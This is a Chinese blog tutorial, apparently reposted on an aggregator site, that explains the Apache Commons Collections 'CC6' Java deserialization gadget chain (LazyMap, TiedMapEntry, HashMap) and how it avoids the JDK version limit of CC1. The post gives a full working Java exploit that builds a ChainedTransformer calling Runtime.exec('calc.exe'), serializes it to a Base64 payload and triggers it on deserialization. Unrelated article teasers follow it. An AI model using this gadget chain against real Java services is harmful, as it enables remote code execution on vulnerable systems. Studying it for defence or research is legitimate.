cc6链:绕过cc1的JDK版本限制

news/2024/10/2 12:16:42

为什么cc1有jdk版本限制

JDK中的AnnotationInvocationHandler的readObject更新了,所以cc1用不了

但是前面的部分还是存在的,只要我们找到一个新的入口就还是能执行命令

这里回到LazyMap,LazyMap的get方法可以触发后续的rce

所以我们需要寻找新版本JDK中触发LazyMap中get方法的类

TideMapEntry

锵锵,上面说到的那个类就是TideMapEntry

TideMapEntry部分源码:

image

image

此时我们需要触发其hashcode方法

好熟悉啊,这不是DNSLog那条链吗?

从hash到hashcode()

image

image

但是HashMap的put方法会提前调用hash方法,导致提前走完流程

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

LazyMap的前提条件

这里我们先回到LazyMap的get方法,要containsKey(key)==false才会触发

在第一次随便传值(为了抵消hashmap触发的put)的时候就已经触发下面的put传值,反序列化时候就不会进入这个if判断了

image

所以我们需要执行lazymap.remove("2");把序列化时加入的值去掉

所以操作就是装入hashmap

去掉lazymap的key值,之后反射修改LazyMap中的payload

代码

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception {System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n    在transform时将会返回Runtime类A");ConstantTransformer a=new ConstantTransformer(Runtime.class);System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n    在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");InvokerTransformer b=new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[] {"getRuntime", new Class[0]});System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n    在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");InvokerTransformer c =new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]});System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n    在transform时将会通过D.exec(\"calc.exe\")执行命令");InvokerTransformer d=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"calc.exe"});Transformer[] transformers = new Transformer[]{a, b, c, d};System.out.println("[+]使用ChainedTransformer将该数组链接起来\n    执行ChainedTransformer.transform将会执行上述链条");Transformer transformerChain = new ChainedTransformer(transformers);// 创建Map并绑定transformerChainSystem.out.println("[+]创建LazyMap\n  LazyMap的get方法会执行上述链条\n  随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象");Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));System.out.println("[+]创建TideMapEntry装入HashMap\n    调用创建TideMapEntry的hashcode会执行上述链条\n      hashcode()->getvalue()->LazyMap的get");TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry, "3");System.out.println("[+]调整lazymap");lazymap.remove("2");System.out.println("[+]put完成,通过反射修改回ChainedTransformer对象");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazymap, transformerChain);System.out.println("\n[+]序列化");ByteArrayOutputStream serialize = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(serialize);oos.writeObject(hashMap);oos.close();System.out.println("    "+ Base64.getEncoder().encodeToString(serialize.toByteArray()));System.out.println("[+]反序列化触发");ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));unserialize.readObject();}
}

运行结果

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/29411.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

第二届数信杯南区wp-easyJava

第二届数信杯南区easyJavawriteup easyJava 用Eclipse Memory Analyzer进行分析,利用OQL查找字符串这里要写正则表达式:我写了\\u.*意思是找unicode字符串,因为这里的中文都做了unicode编码搜索到这么一个字符串列表,转码——红色框框里的是还原后的内容。如下: 想跟你说一…

Ubuntu中安装OpenSSL

一、前期准备 1.1 压缩包下载 在安装openssl之前,我们需要下载对应的压缩包 https://www.openssl.org/source/openssl-3.0.1.tar.gz 此压缩包可以选择win上下载后解压再复制到本地虚拟机中,也可以选择直接在本地虚拟机中使用wget命令进行下载。当然,在使用wget命令时,我们需…

建发弘爱 X 袋鼠云:加速提升精细化、数字化医疗健康服务能力

厦门建发弘爱医疗集团有限公司(简称“建发弘爱”)创立于2022年,是厦门建发医疗健康投资有限公司的全资子公司,专业从事医疗健康领域的医疗服务。 建发弘爱通过医疗、健康及产业服务三大板块,为百姓提供医疗和健康全生命周期解决方案。以医疗机构为核心,管理及运营弘爱医院…

删除单向链表中数据最小的结点

删除单向链表中数据最小的结点(1)算法的基本设计思想 要找到链表中数据最小的结点,可以使用4指针法。具体步骤如下:定义4个指针,分别命名为MinNodeprev、MinNode、CurrentNodePrev、CurrentNode,MinNodeprev、CurrentNodePrev指向链表的头结点,MinNode、CurrentNode指向…

Java-线程-线程池

0.背景参考资料:Java线程池实现原理及其在美团业务中的实践在 Java 早期,每次创建线程时,都要涉及到线程的创建、销毁以及资源管理,这对于系统的性能和资源利用率是一种浪费。 因此,Java 提供了线程池的概念,以提高线程的管理效率和性能。资源管理优化:传统的线程创建和…

8.2版本Web端移动开发调试强制跳转新移动框架

解决方案: Common.config文件中增加配置项 <add key="MobileLoginType" value="1" /> 如下图其他注意事项: 没有配置MobileLoginType属性 或 MobileLoginType = "" 或 MobileLoginType = 2 都会执行重定向 MobileLoginType = 3 系…

Error: Cannot find module ‘D:\SoftSetupLoaction\nodejs\node_global\node_modules\npm\bin\npm-cli.js‘

Error: Cannot find module ‘D:\SoftSetupLoaction\nodejs\node_global\node_modules\npm\bin\npm-cli.js‘ 出现原因: 重新安装可装了nodejs和npm 网上查了很多方法,都建议重装,但是都没有效果(因为我就是重装之后出现的问题) 按照错误提示node_global找不到npm-cli.js,个人…